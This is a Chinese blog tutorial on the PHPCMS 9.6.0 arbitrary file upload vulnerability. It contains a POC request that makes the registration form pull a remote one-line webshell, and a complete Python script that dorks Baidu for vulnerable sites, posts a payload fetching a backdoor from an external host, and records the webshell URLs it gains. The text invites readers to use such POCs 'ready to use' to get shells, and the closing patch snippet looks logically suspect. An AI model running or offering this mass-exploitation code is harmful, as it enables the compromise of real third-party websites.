zl程序教程

您现在的位置是:首页 >  其他

当前栏目

WEB漏洞攻防 - 文件上传漏洞 - CMS类应用场景 - [见文章头]任意文件上传漏洞

漏洞文件上传应用Web 场景 文章 任意
2023-09-14 09:14:27 时间

文章头=PHPCMS9.6.0

思考:在实际应用场景中,常规类的文件上传、CMS类的文件上传、编辑器的上传或者CTF比赛中的文件上传应用场景都有不同的差异;总结下来就是,文件上传不管是发现还是利用上都会根据产生层面而不同,常规类无资料的情况下采用常规思路测试,有资料的情况下直接参考资料进行即可。

文件上传CMS类应用场景 - PHPCMS9.6.0任意文件上传漏洞

该漏洞的成因其实和常规的文件上传利用场景没有任何关系,其漏洞成因是利用代码中的漏洞,通过远程调用本地文件[文件中写入后门脚本或者一句话]来实现的。

正如前文我们说的 “常规类无资料的情况下采用常规思路测试,有资料的情况下直接参考资料进行即可”。

该场景就是典型的例子,在实际场景中当我们发现某网站使用的是 PHPCMS的时候,就可以通过搜索该 CMS 的漏洞利用别人已经写好的复现过程和 POC 即可getshell,我们也许不需要理解该漏洞的成因,直接拿来即用。简单、有效还实用。[是不是很爽歪歪]

附:该漏洞是一位前辈大佬 “Akkuman” 发现并发布在"0组"上面的。

现在我们看看该漏洞的利用复现场景。

首先我们搭建一个本地的 PHPCMS9.6.0环境,下载地址:http://www.mycodes.net/43/3365.htm

访问本地环境


在这里插入图片描述


点击右上角的"注册",进入"注册"页面,填写一些注册信息,然后进行抓包。


在这里插入图片描述


在这里插入图片描述


然后本地创建一个一句话后门文件,尝试可否远程调用。


在这里插入图片描述


POC:
siteid=1&modelid=11&username=seven1&password=seven123456&email=seven@qq.com&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=

注意:POC里的 “src=http://127.0.0.1/333.txt” 就是调用的远程本地文件,根据自己的实际情况进行修改。

修改抓包内容,添加POC。


在这里插入图片描述


链接后门


在这里插入图片描述


附上 Akkuman 大牛写的批量脚本

说明:

依赖库的安装pip install requests

# -*- coding:utf-8 -*-

'''
----------------------
Author : Akkuman
Blog   : hacktech.cn
----------------------
'''

import requests
from bs4 import BeautifulSoup
# from urlparse import unquote //Python2
# from urlparse import urlparse //Python2
from urllib.parse import quote
from urllib.parse import urlparse
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
}

def parseBaidu(keyword, pagenum):
    keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
    pnum = 0
    while pnum <= int(pagenum):
        baseURL = keywordsBaseURL + str(pnum*10)
        try:
            request = requests.get(baseURL, headers=headers)
            soup = BeautifulSoup(request.text, "html.parser")
            for a in soup.select('div.c-container > h3 > a'):
                url = requests.get(a['href'], headers=headers, timeout=7).url
                yield url
        except:
            yield None
        finally:
            pnum += 1


def saveShell(shellUrl):
    with open("webShell.txt","a+") as f:
        f.write("[*]%s\n" % shellUrl)

def main():
    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "akkumandsad",
        "password": "123456",
        "email": "akkakkumafa@qq.com",
        # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt
        "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
        try:
            if crawlUrl:
                rand_name = chars[Random().randint(0, len(chars) - 1)]
                data["username"] = "akkuman_%s" % rand_name
                data["email"] = "akkuman_%s@qq.com" % rand_name
                host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
                url = host + "/index.php?m=member&c=index&a=register&siteid=1"
                htmlContent = requests.post(url, data=data, timeout=10)
                successUrl = ""
                if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
                    successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
                    print("[*]Shell  : %s" % successUrl)
                    saveShell(successUrl)
                if successUrl == "":
                    print("[x]Failed : Failed to getshell.")
            else:
                continue
        except:
            print("Request Error")



if __name__ == '__main__':
    main()

该漏洞的修复方法

打开phpcms\libs\classes\attachment.class.php


在这里插入图片描述


在168行添加如下代码:

if(!stripos($ext,$filename)){
    $arryfilename = explode("|", $ext);
    foreach($arryfilename as $n=>$fn){
                if($fn){
                       $filename = $fn;
                        continue;
                }
     }
}